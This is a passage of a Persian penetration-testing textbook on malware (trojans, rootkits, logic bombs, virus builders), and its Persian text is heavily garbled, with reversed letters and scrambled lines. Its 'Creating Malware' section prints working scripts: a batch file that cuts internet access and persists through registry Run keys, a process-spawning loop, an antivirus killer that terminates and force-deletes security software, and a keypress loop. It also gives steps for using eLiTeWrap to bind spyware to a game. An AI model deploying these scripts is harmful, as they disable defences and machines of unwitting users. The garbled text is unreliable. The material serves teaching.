 افزار نرم هرگونه دانلود مورد در ینیقوان ها سازمان از یاریبس که است یلیدلا از یکی عامل نیا
 را یروسیو حملات که یکسان که است یادآوری به لازم.دارند سازمانها های نیماش یرو بر

 هستند. خلاقی افراد ،آورند می بوجود
 یسینو برنامه مهارت به یازین تروا اسب جادیا که است ضروری نکته نیا به توجه نیهمچن
 امکان شخص به که ،EliteWrapper مانند دارد، وجود نترنتیا در گانیرا یابزارها ندارد.
 یراحت به توان می نیبنابرا .آشکار یگرید و یمخف یکی کند، یمخف را برنامه دو دهد می
 یباز فقط یینها کاربر کرد. بیترک پوکر یباز کی با مثلاً را آن و کرده دریافت روسیو

 .شود می یانداز راه روسیو ،آن یاجرا هنگام اما کند، می مشاهده را پوکر
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 بدون بود. خواهد انگرریو اریبس که است ییویسنار گرفت نظر در دیبا که یگرید یویسنار
 نیسنگ خطرات تا شود می داده شرح نجایا در یاساس فر  شیپ ،یسینو برنامه اتیجزئ یافشا
 ریتصاو از ای مجموعه که دیکن تصور را کوچک برنامه کی دهد. نشان را تروا های اسب

 در افراد از یرایبس توجه مورد احتمالاً افزار نرم نیا دهد. می نشان را دنلا بن اسامه ناخوشایند
 خواهد قرار دفاع با مرتبط عیصنا ای یاطلاعات جامعه ارتش، در افراد ژهیو به متحده، الاتیا

 مستقر دستگاه یرو یراحت به یطولان یزمان مدت یبرا برنامه نیا که دیکن فر  حال گرفت.
 یاریبس یبرا ار آن احتمالاً کامپیوتر کاربر رایز ستین روسیو مانند تکرار به یازین .است شده
 از ویدرا هر به افزار نرم نیا مشخص، زمان و خیتار کی در کند. می ارسال خود همکاران از

 اسب نیچن اگر کند. می ها فایل همه حذف به شروع و شود می متصل بکهش یوهایدرا جمله
 انتقال نفر ها ونیلیم دیشا هزاران، به احتمالاً روز 30 ظرف شود، آزاد "مجازی فضای در" تروا
 کنند. می ها پوشه و ها فایل حذف به شروع وتریکامپ هزاران یوقت دیکن تصور را یرانیو .یابد
 از کامپیوتر، کاربران .بترساند کمی و ببرد فرو فکر به را شما یکم تا شد ذکر قاًیدق ویسنار نیا

 کنند، می لوددان نترنتیا از را یموارد معمول طور به بدانند، بهتر دیبا که یمتخصصان جمله
 را هدست نیا از یزیچ کارمند کی که بار هر .بایز های یباز و کننده سرگرم فلش های لمیف مانند
 دیباش متخصص کی که ستین یازین دارد. وجود تروا اسب کی دانلود امکان کند، می دانلود
 اسب کی تینها در دهند، ادامه روش نیا به یکاف مدت به کارمندان آیا که دیشو متوجه تا

 نباشد. تبهکار ،روسیو دوارمیام شود، نیچن اگر کنند. می دانلود سازمان دستگاه یرو را تروا
 یتیامن متقابل اقدام شوند، می نصب کاربران خود توسط معمولاً Trojan یاسبها که آنجا از
 ،قانون یاجرا منظر از است. یینها کاربران توسط نصب و دانلود از یریجلوگ حمله نیا یبرا
 سخت سکید از ای رایانه جرائم اسکن شامل تروا اسب مثل یجرم مورد در قاتیتحق
 .باشد می تروا اسب خود یجستجو ،وتریکامپ
 

Rootkit. 

 استفاده یکامپیوتر شبکه ای کامپیوتر کی به ادمین سطح در دسترسی یبرا که است یافزار نرم
 پذیری آسیب کی از اکسپلویت با ای کاربر، سطح به یدسترس نیاول از پس متجاوز شود. می

 توان می ای ،کند می نصب کامپیوتر یرو بر را rootkit عبور، رمز شکستن ای شده شناخته
rootkit سپس داد. لیتحو دهند، می ارائه ها روسیو که یروش همان به را rootkit های شناسه 
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 به نیبنابرا کند، می یآور جمع را شبکه در موجود گرید های نیماش عبور یرمزها و کاربر
 دهد. یم (privileged )ممتاز یدسترس ای root) ) شهیر یدسترس هکر

rootkit یکمک های برنامه شامل است ممکن utilities که: باشد 
 دهایکل فشار و کیتراف بر نظارت. 
 کند. جادیا ستمیس در یپشت درب کی ،هکر استفاده یبرا 
 رییتغ log ها فایل. 
 کند. حمله شبکه در موجود های نیماش ریسا به 
 دهد. رییتغ صیتشخ زدن دور یبرا را ستمیس موجود یابزارها 

 سان های عامل ستمیس زمان، آن در شد. ثبت 1990 دهه لیاوا در بار نیاول شبکه در rootkit وجود
 یبرا ها rootkit امروزه .داشتند را rootkit نصب قصد که بود هکر کی یاصل اهداف نوکسیل و

 .باشند می ای شبکه هر در صیتشخ قابل یسخت به و هستند دسترس در ها عامل ستمیس از یتعداد
 

 Malicious Web-Based Code مخرب وب بر یمبتن کد

 web-based) وب بر یمبتن سیار کد کی عنوان به نیهمچن مخرب، وب بر یمبتن کد کی

mobile code) ای ها عامل ستمیس همه یبرا که دارد اشاره یکد به یسادگ به شود، می شناخته 
 بخش .باشند می (Portable) حمل قابل ،رهیغ و HTTP، Java مانند هایی پلتفرم ستمیس
 .باشد می یگرید بدافزار نوع هر ای تروا اسب کرم، ،روسیو از یحاک " ”malicious مخرب"
 یورگرمر چه از ای چیست ممکن عامل ستمیس که دهد نمی یتیاهم مخرب کد ساده، زبان به

 کند. می آلوده را ها آن همه کورکورانه صورت به کند. می استفاده
 یمتن های فایل شتریب نترنتیا اول نسل شوند؟ می پخش چگونه و آمده کجا از کدها نیا

 یکاربر تجربه کی به نترنتیا شدن لیتبد با حال، نیا با بود. شده (Index) فهرست
 اپلیکیشن های تکنولوژی و یسینو پتیاسکر های بانز سانینو برنامه ،یکیگراف ای چندرسانه

 ،دیجد یفناور هر همانند کنند. فراهم را یشتریب یتعامل بهتجر تا اند کرده جادیا را دیجد
 تبدیل ضعیف به دیمف از را حیطه شوند می نوشته یسینو پتیاسکر های زبان با که هایی برنامه
 .شوند اجرا خطرناک کاملاً تا کرده
 را اعتماد قابل ریغ ای (buggy) دار باگ های برنامه نیا ActiveX و Java مانند اییه یفناور
 ری)سا شوند. اجرا ها آن در و شده منتقل کاربر یکار های ستگاهیا به تا سازد می قادر
 ،پتیاسکر جاوا ،ییاجرا های تیقابل کنند، فعال را مخرب یکدها توانند می که هایی یفناور
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 برنامه، تیفیک نیب تفاوت شیافزا بدون وب .(باشند می ها نیپلاگ و کیسیب ژوالیو پتیاسکر
 یابزارها از استفاده با کند. می اقدام کد تحرک شیافزا به ،نانیاطم تیقابل ای یکپارچگی

 قرار سرورها وب در متعاقباً که یاسناد به کد (drag and drop )کردن رها و دنیکش موجود،
 ساده کاملاً ،رندیگ می قرار افراد ای سازمان کارمندان دسترس در ترنتنیا قیطر از و رندیگ می

 باشد، شده تست نادرست طور به فقط ای یسینو برنامه مخرب طور به کد نیا اگر است.
 .شود یجد بیآس باعث تواند می
 کردن پاک و رییتغ سرقت، یبرا دیمف اریبس یابزارها نیا از هکرها که ستین تعجب یجا
 کد حمله .باشند داشته یشرکت های شبکه به مجاز ریغ دسترسی نیهمچن و داده های فایل

 در HTML یمحتوا ها، تیسا وب جمله از یمختلف یدسترس نقاط قیطر از تواند می مخرب
 کند. نفوذ شرکت های ستمیس و ها شبکه به ،یشرکت های نترانتیا ای لیمیا های امیپ

 قیطر از بلافاصله باًیتقر توانند می مخرب کد دیجد حملات ،نترنتیا کاربر اردهایلیم با امروزه
 نیاول ضربه از پس ساعات نیاول در مخرب کد از یناش بیآس نیشتریب .ابندی گسترش ها شرکت
 یخراب های نهیهز باشد. داشته وجود ای مقابله اقدامات یبرا زمان نکهیا از قبل - دهد می رخ حمله
 دهد. می قرار خود یاصل تیاولو در را مخرب کد (IP) یمعنو تیمالک سرقت ای شبکه
 

  (Logic Bombs) یمنطق های بمب

 را خود مخرب هدف خاص، یارهایمع تحقق صورت در که است بدافزار ینوع یمنطق بمب
 است ممکن یمنطق بمب کی مثال، عنوان به است. زمان / خیتار عامل ترین رایج کند. می اجرا
 در ،ویدورون راجر پرونده مثال، عنوان به کند. حذف مشخص زمان / خیتار کی در را ها فایل
 رساندن بیآس یبرا یمنطق بمب از استفاده به ،UBS ستمیس ادمین ،ویدورون راجر ،2006 ژوئن
 لیدل به را شرکت سهام که بود صورت بدین وی طرح شد. متهم شرکت یکامپیوتر شبکه به
 بهادار اوراق در یکلاهبردار اتهام به او نیبنابرا ،وردایب نییپا یمنطق بمب طریق از دنید بیآس
 خسارت جبران دلار ونیلیم 3.1 پرداخت به و زندان ماه 1 و سال 8 به مویدورون بعداً شد. متهم
 شد. محکوم UBS به

 بمب کی ،2008 اکتبر 29 خیتار در است. داده رخ Fannie Mae شرکت در یگرید نمونه
 سابق، مانکاریپ کی توسط یمنطق بمب نیا شد. کشف شرکت های ستمیس در یمنطق

Rajendrasinh Makwana، در بود قرار بمب نیا بود. شده نصب بود، شده فسخ قراردادش که 
 دادگاه در ماکوانا کند. پاک کاملاً را شرکت یسرورها مامت و شده فعال 2009 هیژانو 31 خیتار



 آموزش اصول و مفاهیم تست نفوذ 148 

 

 در یو شد. متهم کامپیوتر به رمجازیغ یدسترس لیدل به 2009 هیژانو 27 خیتار در لندیمر یفریک
 یآزاد سال 3 به نیز آن از پس و شد محکوم زندان ماه 41 به و شد محکوم 2010 دسامبر 17

 بمب ماکوانا که باشد می صورت بدین است توجه جالب مورد نیا در آنچه شد. محکوم مشروط
 موارد نیا کرد. نصب شبکه، های ادمین به شبکه یدسترس لغو زمان تا کار خاتمه زمان نیب را یمنطق
 نشان را ها آن کار افتنی انیپا با سابق کارمندان یحسابها درنگ یب شدن رفعالیغ از نانیاطم تیاهم
 شود. اعمال داوطلبانه ترک ای یبازنشستگ ،یاراد ریغ فسخ کی در چه امر نیا دهد. می
 

  (Creating Malware) بدافزار جادیا

 را بدافزار از یمختلف انواع دهد می امکان شما به که شود می یبررس روش نیدچن بخش نیا در
 عنوان به ما، هدف شود. انجام دقت یکم با دیبا کار نیا که است ذکر به لازم .دیکن جادیا

 های مهارت یریادگی یبرا لیدل دو .ستین هدف شبکه در یرانیو جادیا نفوذ، های کننده تست
 بهتر کند می جادیا بدافزار که را یدیتهد کهنیا مورد نیاول دارد. وجود بدافزار نوشتن یاساس
 آسان کار نیا انجام که دیدان می ،دیسیبنو ساده روسیو کی دیتوان می خودتان اگر .دیکن درک
 موارد، یبرخ در کهنیا دوم لیدل .شود می پخش اریبس بدافزار چرا که دیدان می و است،

 که طور همان باشند. دیمف نفوذ تست از یبخش عنوان به انندتو می خطر بدون یبدافزارها
 از یبخش عنوان به بدافزار از استفاده یبرا ییوهایسنار به ،میکن می یبررس را یمختلف های نمونه
 شوند. استفاده دینبا هرگز که کنم می اشاره ییوهایسنار و نفوذ تست
 نیهمچن کرد. میخواه Metasploit در کاوش صرف را یتوجه قابل زمان ،یبعد های فصل در
 ریسا و ییاجرا یلهایفا ،PDF در را ها اکسپلویت تا کند می فراهم شما یبرا را امکان نیا

 .دیکن جادیا مؤثر یبدافزارها بیترت نیبد و کرده یجاساز ها فایل
 

 بدافزار نوشتن مهارت سطح

 بدافزار جادیا در را شما تنها کتاب فصل کی خواندن ،دیکن تصور دیتوان می که طور همان
 یتوجه قابل یسینو برنامه مهارت به بدافزار، نوشتن بر یواقع تسلط یبرا کرد. نخواهد مسلط

 اما کرد. میخواه یبررس را یاساس های کیتکن از یبرخ فصل نیا در حال، نیا با .دیدار ازین
 .میکن فیتعر را بدافزار سازندگان مهارت سطح دیده اجازه ابتدا
 استفاده GUI یکیگراف یکاربر رابط یابزارها از که هستند یکسان مهارت سطح نیترکم .1
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 بدافزار جادیا یبرا دیتوان می که دارد وجود ابزارها از ای گسترده فیط ،قتیحق در کنند. می
 کوتاه قهیدق چند در و کند دانلود نترنتیا از را ابزارها نیا تواند می یهرکس .دیکن استفاده ساده
 .ندارد ازین یسینو برنامه مهارت به وجه چیه به که ،کند جادیا را خود زاردافب
 توسط یتوجه قابل احتمال به روش نیا به شده جادیا بدافزار که است ذکر به لازم حال، نیا با
 .شود می ییشناسا روسیو یآنت افزار نرم
 استفاده ساده های پتیاسکر و ای دسته های فایل از که هستند یکسان بالاتر مرحله در .2
 دارند. ازین بنیادی اریبس یسینو برنامه ،یسینو اسکریپت ییابتدا های مهارت به نهایا کنند. می

 تستهای در اغلب ها آن نشوند. ای شوند ییشناسا روسیو یآنت افزار نرم توسط که دارد احتمال
 .باشند می دیمف نفوذ
 کنند. می اصلاح را آن و رندیگ می را موجود بدافزار کد که هستند یکسان بالاتر سوم سطح .3

 مانند ای شده شناخته های روسیو منبع کد توان می آن در که دارد وجود نیآنلا مخزن یتعداد
Melissa , I Love You انجام شیرایو چند است لازم فقط صورت نیا در .کرد دانلود را 

 .دیکن جادیا را خود روسیو تا شود
 در نوشتن از را روسیو کل رایز ،باشد می یتر توجه قابل یسینو امهبرن شامل چهارم سطح .4

 توسط ابتدا در یدیجد روسیو نیچن حداقل .دکن می جادیا (scratch) خدشه یا خراش
 .باشد می صیتشخ قابل کمتر اریبس روسیو یآنت افزار نرم
 به ازین معد صورت در هم و خفا صورت به هم که است ییبدافزارها جادیا یینها سطح -5

 ازین ای دهیچیپ یسینو برنامه های مهارت به امر نیا که است یهیبد شود. می منجر خود بیتخر
 است. جیرا کمتر اریبس و دارد

 دیتول بدافزار یدگیچیپ با متناسب بدافزار سندهینو مهارت سطح که است مهم نکته نیا به توجه
 است. شده

 
GUI Tools. 

 به دهد می امکان ها آن به که هستند GUI یکیگراف یکاربر بطرا یدارا ابزارها از یتعداد
 معمولاً ابزارها نیا که است ذکر به لازم کنند. جادیا اصلی روسیو یراحت به و سرعت

 روسیو آنتی افزار نرم توسط احتمالاً و ستندین زیرک و دقیق که کنند می دیتول ییروسهایو
 در که است TeraBIT ساز روسیو ابزارها نیا ترین شده شناخته از یکی شوند. می ییشناسا
 است. شده داده نشان 5-5 شکل
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 TeraBIT ساز روسیو .5-5 شکل

 لینک از BlackHost ساز روسیو ،GUI روسیو توجه جالب های سازنده از گرید یکی
http://www.blackhost.xyz است. شده داده نشان 5-6 شکل در که طور همان ،باشد می 

 رفتار رییتغ )مانند یعاد موارد بر علاوه دارد. وجود ابزار نیا مورد در جالب نکته نیچند
 .دهد می انجام دیمف نفوذ تست یبرا را کار نیا کند. باز را یتیسا وب کی تواند می (،موس
 ها وستیپ به باید چرا کند می فیتوص که کرده باز را یتیسا وب یسادگ به دیتوان می
(attachments) کرد. دقت 

 
 ساز. روسیو .5-6 شکل
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 ای دسته لیفا کی یانداز راه ییتوانا شامل (benign functionality) خطر بی عملکرد
 عبور، رمز رییتغ (،کرد خواهیم یبررس یبعد بخش در را ای دسته لیفا های روسی)و باشد می

 برنامه. کی یانداز راه ای لیفا کی حذف
 :جمله از گرید های تیک از یاریبس
 Deadly ساز روسیو
 Bhavesh ساز روسیو
  DeadLine ساز روسیو

 که یشخص یبرا کند. می کمک ها روسیو وعیش از یبرخ توزیع به یابزار نیچن وجود
 نداشته یسینو برنامه مهارت شخص آن اگر یحت ،باشد می آسان کند تولید روسیو خواهد می
 باشد.
 

 پتیاسکر ساده های روسیو

 یسینو برنامه های مهارت به ها آن است. آسان اریبس ای دسته های فایل و ها پتیاسکر نوشتن
 روسیو تواند می باشد داشته ییابتدا های مهارت که یکس هر واقع در و ندارند ازین یتوجه قابل
 به را یکاف متن نوشتن های مهارت توان می ،ییها مهارت نیچن داشتن بدون یحت .سدیبنو
 است. شده داده نشان بخش نیا در مورد چند آورد. دست به یراحت
 

VBS Virus 
 نظدر  مدورد  کدامپیوتر  بده  یبیآس چیه رایز است، دیمف اریبس نفوذ تست یبرا ژهیو به روسیو نیا

 دانلدود  را وسدت یپ کید  هدا  آن نکده یا بده  اشداره  با را وتریکامپ اپراتور یسادگ به فقط رساند. نمی
 :کند می زده خجالت اند، کرده

Dim msg, sapi 
msg="You have violated security policies" 
Set sapi=CreateObject("sapi.spvoice")  
sapi.Speak msg 

 

 Microsoft مورد در نیآنلا یبررس یکم .دیده رییتغ خود یازهاین با متناسب را امیپ دیتوان می البته

Speech API دهد. می نشان شما به را گرفت نظر در توان می که را یاضاف راتییتغ یبرخ 
sapi.Volume = 100 

sapi.voice =.getvoices.item(0) 
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 دید با نیبندابرا  ،باشدد  می VBScript کی درواقع نیا .باشد می اصلاح یبرا روش چند فقط نهایا
 باشد می صورت بدین دیهست آن تست حال در که یمفهوم .شود رهیذخ vbs.فایل کی عنوان به
 نه. ای کنند می کیکل پتیاسکر ژهیو به ،وستیپ یرو کاربران ایآ که
 
 Disable the Internet دیکن رفعالیغ را نترنتیا

 دسدتورات  از ای مجموعده  هسدتند.  روسید و جداد یا یبدرا  ای لهیوسد  زین ویندوز ای دسته های فایل
 عملیدات  دسدتگاه  یرو بدر  ،دید ا کدرده  مشداهده  کده  یگدر ید بددافزار  هر مانند تواند می ای دسته

 اتصدال  تمام که ای دسته لیفا کی دارد، وجود مثال کی فقط نجایا در .ندک ایجاد را ویرانگری
 کند: می خاموش را نترنتیا

echo @echo off>c:windowswimn32.bat 
echo break off>>c:windowswimn32.bat 
echo ipconfig/release_all>>c:windowswimn32.bat 
echo end>>c:windowswimn32.bat 
reg add 
hkey_local_machinesoftwaremicrosoftwindowscurrentvers
ionrun 
/v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f 
reg add 
hkey_current_usersoftwaremicrosoftwindowscurrentversi
onrun 

/v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f 
 دهدد  می انجام (screen )صفحه یرو که را یکار همان ای دسته لیفا نیا که دیباش داشته توجه
 عملیدات  دید خواه مدی  احتمدالاً  شدود،  اجدرا  یشخص کامپیوتر یرو دیبخواه اگر .کند می بازتاب
 .دهید انجام را کردن خاموش

 

  (Endless Loop Script) انیپا یب حلقه پتیاسکر

 از یبرخ و نامحدود تعداد یسادگ به که باشد، می موجود های پتیاسکر ترین ساده از یکی
 کند: می شروع را ستمیس و اجرا قابل خاص منابع

@ECHO off 
:top 
START %SystemRoot%\system32\notepad.exe 
GOTO top 
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 راه مرتبداً  را هدا  نسدخه  ولی .دیکن استفاده دارید تمایل که آنچه هروnotepad، calc از دیتوان یم 
 شود. فلق ستمیس که یزمان تا کند می یانداز
 

  (Antivirus Killer) قاتل روسیو یآنت

 یدارا کند می اجرا را آن که یشخص که کند می کار یصورت در فقط خاص ای دسته فایل نیا
 از که یحال در افراد از یاریبس بدافزار، سندهینو یبرا خوشبختانه، باشد. یمحل ادمین ازاتیامت
 .دهند می انجام را خود یکامپیوتر مرهروز های تیفعال کنند می استفاده ادمین ستمیس
 از دید توان مدی  شدود.  مدی  خدتم  فرایندد  کی به که دارد، یبستگ tskill دستور به ای دسته لیفا نیا

 از را روسید و یآنتد  یهافرایند ریز موارد مثال، عنوان به .دیکن استفاده فرایند نام ای فرایند شناسه
 برد: می نیب

tskill /A ZONEALARM 

tskill /A mcafe* 
 مانند: کرد، دنبال del با را کار نیا توان می ،روسیو یآنت آن یلهایفا حذف یبرا

del /Q /F C:\Program Files\kasper~1\*.exe 

del /Q /F C:\Program Files\kaspersky\*.* 

Note /Q Quiet mode, do not give a Yes/No Prompt 

before deleting. 

F Ignore read-only setting and delete anyway (FORCE)  / 

 یبانیپشدت  مدرتبط  taskkill فرمدان  از امدا  کنندد،  نمدی  یبانیپشدت  tskill از ندوزیو یبعد های نسخه
 اسدت  ممکدن  حدال  هدر  بده  نیبندابرا  ،باشدد  مدی  قدرتمنددتر  tskill از واقع در taskkill کنند. می

 .دیکن استفاده آن از دیبخواه
 اند: شده ستیل نجایا در پارامترها

/ s Computer آدرس ای وتریکامپ نام دیتوان می IP دیکن یسع و دیکن مشخص را task یرو را 
 .باشد می یفعل کامپیوتر ،فر  شیپ .دیببر نیب از آن
 / u User عبور رمز به کار نیا با .شود می اجرا خاص کاربر ازاتیامت تحت را دستور نیا / p 
 .دیدار ازین
 / pid کند می پردازش ،ببرید بین از دیخواه می که را یکار شناسه. 
 / im (ییاجرا نام یعنی) ریتصو نام . 
 /t دهد می خاتمه ببرید بین از خواهید می که فرایندی از را ریزفرایندها مامت. 
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 کی لیتبد واقع در .دیکن استفاده بدافزار یبرا ای دسته لیفا کی از دینباش لیما است ممکن
 http://www.blackhost.xyz تیسا وب است. ساده اریبس ییاجرا لیفا کی به ای دسته لیفا

 دارد. exe گانیرا دانلود یبرا ای دسته
 

PowerShell. 

 پوسته قدرت با مطابقت یبرا کروسافتیما تلاش نیا است. ندوزیو به العاده فوق یافزودن
Linux Bash .دارد. وجود ندوزیو یبعد های نسخه تمام در و شد یمعرف 7 ندوزیو با ابتدا است 

 استفاده ندوزیو عملکرد انواع یاجرا یبرا ها ادمین توسط که است قدرتمند ابزار کی نیا
 باشد. دیمف کردن هک یبرا تواند می نیهمچن شود. می
 Start> All Programs> Accessories> Windows با 2008 سرور ندوزیو ای 7 ندوزیو در

PowerShell به توانید می PowerShell دیتوان می 10 ای 8 ندوزیو در .کنید پیدا دسترسی 
Powershell در را Box رابط .دیکن پیتا جستجو PowerShell مشاهده 5-7 شکل در را 

 .دیکن می

 
 PowerShell .5-7 شکل

 است: ساده ولی دهنده آزار نسبتاً PowerShell روسیو پتیاسکر کی ریز موارد
Set wshShell = wscript.CreateObject("WScript.Shell")  

do 

wscript.sleep 100 

wshshell.sendkeys "~(enter) " 

loop 
 دید کل هدر  بدا  را دید کل نید ا دید توان مدی  کده  ،دهد می فشار را Enter دیکل هیثان یلیم 100 هر مرتباً
 .دیکن نیگزیجا یگرید
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 Creating a Trojan Horse تروجان اسب جادیا

 کمک فرد به وهستند، گانیرا download یبرا ها آن از یبرخ که دارد وجود ابزار یتعداد
 خود نفوذ تست یکلاسها در که ابزارهایی از یکی کند. جادیا را تروجان اسب کنند می

 یکم نترنتیا در مورد نیا افتنی که دیباش داشته توجه .باشد می eLiTeWrap کنم می استفاده
 اساساً، .باشد می ساده کاربردش و نیست بتثا اینترنت روی بر آن مکان خواهدو می جستجو
 تواند می یهرکس ،نیا مانند یابزار از استفاده با کند. متصل هم به را برنامه دو هر تواند می
 کند. متصل یاشتراک پوکر یباز کی مانند ضرر یب برنامه کی به را افزار جاسوس ای روسیو
 گانیرا یباز کی کنند می فکر که را هآنچ ادافر از یادیز تعداد اینکه به شود می منجر امر نیا

 یاجزا 5-8 شکل کنند. نصب خود ستمیس یرو بر را بدافزار ناآگاهانه و کنند دانلود است
 دهد. می نشان را تروجان اسب

 

 
 تروا. اسب یاجزا 5-8 شکل

 آسان اریبس آن از استفاده و باشد می (command-line) فرمان خط ابزار eLiTeWrap ابزار
 :دیکن دنبال را مراحل نیا فقط است.
 .باشد می مشاهده قابل که کرده وارد دیکن اجرا دیخواه می که را یلیفا .1 مرحله
 :دیکن آغاز را اتیعمل .2 مرحله
 Pack only یبند بسته فقط -1
 همزمان ریغ طور به (،visible )مشاهده قابل (،execute) اجرا و (Pack) یبند بسته -2
(asynchronously)  
 همزمان ریغ طور به (،hidden) پنهان اجرا، و یبند بسته -3
  (synchronously )همزمان مشاهده، قابل اجرا، و یبند بسته -4
 همزمان پنهان، اجرا، و یبند بسته -5
 همزمان ریمشاهده،غ قابل اجرا، فقط -6
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 همزمان ریپنهان،غ اجرا، فقط -7
  همزمان مشاهده، قابل اجرا، فقط -8
 همزمان پنهان، اجرا، فقط -9

 .دیکن وارد را فرمان خط .3 مرحله
 . (دیهست آن نصب حال در یپنهان طور به که ی)مورد دیکن وارد را دوم فایل :4 مرحله
 .دیشو اتیعمل وارد .5 مرحله
 .دیده فشار را Enter ها، فایل اتمام از بعد .6 مرحله
 هد.د می نشان eLiTeWrap در را روند نیا 5-9 شکل

 
 eLiTeWrap .5-9 شکل

 

 درک که است مهم شود. می ارائه تروجان اسب ساختن آسان از یریتصو عنوان به فوق مورد
 هرگونه .دیکن درک را بدافزار وعیش دیتوان می درنتیجه ،باشد می آسان چقدر روند نیا دیکن
 شود. برخورد یتوجه قابل سوظن با دیبا دانلود ای وستیپ
 

 Altering Existing Viruses موجود یها روسیو رییتغ

 صورت بدین سینو روسیو یعیطب کار دارد. وجود حاضر حال در یادیز های روسیو
 منبع کد مخازن دهد. رییتغ یسادگ به را آن کد و کرده دریافت را موجود روسیو که باشد می
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 کرد. صلاحا و دانلود موجود روسیو در را کد توان می که دارد وجود نترنتیا در روسیو
 دارد وجود یگرید موارد .باشد می /http://vxer.org در روسیو مخازن ترین معروف از یکی
 .دیکن یبررس و دانلود دیتوان می که دارند را روسیو کی کد که دارند وجود زین هایی تیسا و
 را یکد نیچن یسادگ به تواند می دارد بنیادی یسینو برنامه های مهارت که سینو روسیو
 جادیا که دهد می نشان دوباره مورد این دهد. رییتغ را آن دیجد روسیو جادیا یبرا و ریافتد
 .است بدافزارها از یاریبس وعیش وجود لیدل کی و ،باشد می آسان روسیو
 

 خلاصه

 های یبند طبقه نیهمچن و بدافزار خچهیتار ما کرد. یبررس اتیجزئ با را بدافزار فصل نیا
 دیبا .میکرد یبررس را تروا اسب ای روسیو جادیا نحوه نیهمچن ما .میکرد یبررس را مختلف
 توجه قابل یمنیا نکات تیرعا با دیبا فقط و بوده خطرناک ذاتاً یتیفعال نیچن که داشت توجه
 .دشو انجام
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 فصل اهداف

 :بود دیخواه قادر فصل، نیا خواندن از پس
 دیبشناس را ندوزیو عامل ستمیس اصول. 
 کنید. می پیدا را ندوزیو عبور رمز یساز رهیذخ دانش 
 کنید. می درک را ندوزیو کردن هک یبرا روش نیچند 
 میخواه یبررس را ندوزیو های ستمیس هک یبرا استفاده مورد خاص های کیتکن فصل، نیا در
 کی یبرا ژهیو هب ها مهارت نیا است، ریگ همه عامل ستمیس کی ندوزیو که آنجا از کرد.
 نکهیا از نانیاطم با و ندوزیو عامل ستمیس یبررس با ابتدا در هستند. مهم اریبس نفوذ کننده تست
 که باشد می گونهنیا هک تیواقع کرد. میخواه شروع ،دیدار ندوزیو مورد در یخوب شدان

 تست یبرا مورد نیا شد. خواهد شتریب شما تیموفق ،بفهمید تر کامل طور به را ستمیس هرچه
 درک کمتر را ستمیس هرچه .باشد می درست نیز موضوع این عکس است. صادق زین نفوذ
 بود. خواهدن برخوردار تر قیدق و کاملتر یقینا شما تست ،دیکن

 ،14 فصل و "تیسپلوامتا بر ای مقدمه" ،13 فصل در بعداً که است ذکر به لازم نیهمچن
 هک یاضاف های کیتکن زمان آن در و کرد میهخوا یبررس را" تیسپلوامتا شتریب معرفی"
 نهیزم در هیاول دانش داشتن از نانیاطم فصل نیا در هدف کرد. دیخواه مشاهده را ندوزیو
 .باشد می ندوزیو هک هیپا فنون با ییشناآ و ندوزیو
 

  ندوزیو اتیجزئ

 عامل ستمیس خود از یبهتر دهیا است بهتر ،دیبپرداز ندوزیو نفوذ تست به قاًیعم نکهیا از قبل
 پوشش یبرا .دیشو می آشنا آن ساختار و ندوزیو خچهیتار با بخش نیا در .دیآور دست به
 توسط Windows Sysinternals Administrator’s Reference کتاب به ،ندوزیو در شتریب

Mark E. Russinovich و Aaron Margosis دیکن مراجعه. 
 

 ندوزیو خچهیتار

 ندوزیو زمان، آن در شد. لیتبد یاصل انیجر یک به 1992 سال در 3.1 سخهن انتشار با ندوزیو
 Disk عامل ستمیس بلکه ،نبود یعامل ستمیس واقع در بود،GUI یکیگراف کاربر رابط کی
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Operating System (DOS) .دستورات کردن پیتا یجا به ندوزیو بود DOS، رابط کی 
 کرد. فراهم ماوس کیکل از ادهاستف با را عامل ستمیس با تعامل یبرا یبصر
 و 3.1 نسخه Windows NT یدارا کروسافتیما اطلاعات، یفناور متخصصان و سرورها یبرا

 نسخه و یکار ستگاهیا یدارا نسخه هر گرفت. می قرار استفاده مورد اریبس که بود 4.0 و 3.51
 گرفته نظر در 3.1 ندوزیو از تر منیا و دارتریپا ای گسترده طور به ندوزیو NT نسخه بود. سرور
 شد.
 عامل ستمیس مرحله، نیا در داد. نشان را ندوزیو در اترییتغ 1995 سال در 95 ندوزیو انتشار
 یمعن بدان بودند. محصول کی ها آن عو  در و نبودند. ای جداگانه موارد گرید GUI و پایه
 ،95 ندوزیو انتشار از پس یاندک است. بوده عامل ستمیس یکیگراف یکاربر رابط که

Windows NT 4.0 کی و 95 ندوزیو در یشرفتیپ فقط، را 98 ندوزیو یاریبس شد. منتشر 
 بهبود شعملکرد اما دارد، 95 ندوزیو مشابه کاملاً یظاهر یکاربر رابط دانند. می یانیم مرحله

 کردند. می استفاده FAT32 لیفا ستمیس از 98 و 95 ندوزیو .افتی
 طور به شد. گرفته نظر در ندوزیو خط در بزرگی بهبود ای دهگستر طور به 2000 ندوزیو

 های نسخه اکنون بود. دهیرس انیپا به Windows و NT جداگانه خطوط یروزها اساسی
 کاربران ،یخانگ کاربران یبرا هایی نسخه همچنین و دارد وجود 2000 ندوزیو مختلف
 ،تیظرف و موجود های یژگیو در اساًاس ها نسخه نیا نیب تفاوت .دارد وجود سرورها و ای حرفه
 نیهمچن 2000 ندوزیو .باشد می (RAM) یتصادف یدسترس حافظه یده آدرس لیقب از

 به FAT32 قیطر از NTFS هیتوص به شروع کروسافتیما آن در که بود ندوزیو از ای نسخه
 کرد. لیفا ستمیس کی عنوان
 منتشر سال همان در زین 2003 رورس ندوزیو و بود کروسافتیما یبعد عطف نقطه XP ندوزیو

 )برخلاف است جداگانه دسکتاپ ستمیس و سرور کی ،داشتنکردیرو به بازگشت نیا شد.
 داشت. وجود یساختار های شرفتیپ اما نبود، متفاوت یلیخ یکاربر رابط . (2000 ندوزیو
 و ها یگژیو راتییتغ ندارند. XP از یتوجه قابل یکاربر رابط 7 ندوزیو و ستایو ندوزیو
 متوسط طور به نسخه هر با یکاربر )رابط( واسط اساساً اما داشت، وجود یاضاف های تیقابل

 و Windows Server 2008 نیب رابطه مورد در توان می را امر نیهم شد. می سازگار
Windows Server 2003 با که یکس .کرد بیان زین Windows Server 2003 باشد راحت 

 یبعد عمده رییتغ واقع، در داشت. نخواهد Windows Server 2008 با کار یبرا یمشکل
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 یکم یکاربر رابط بود. Windows Server 2012 وایجادWindows Server در توسعه
 داشت. وجود نصب مختلف انواع یبرا یشتریب های نهیگز و هبود متفاوت

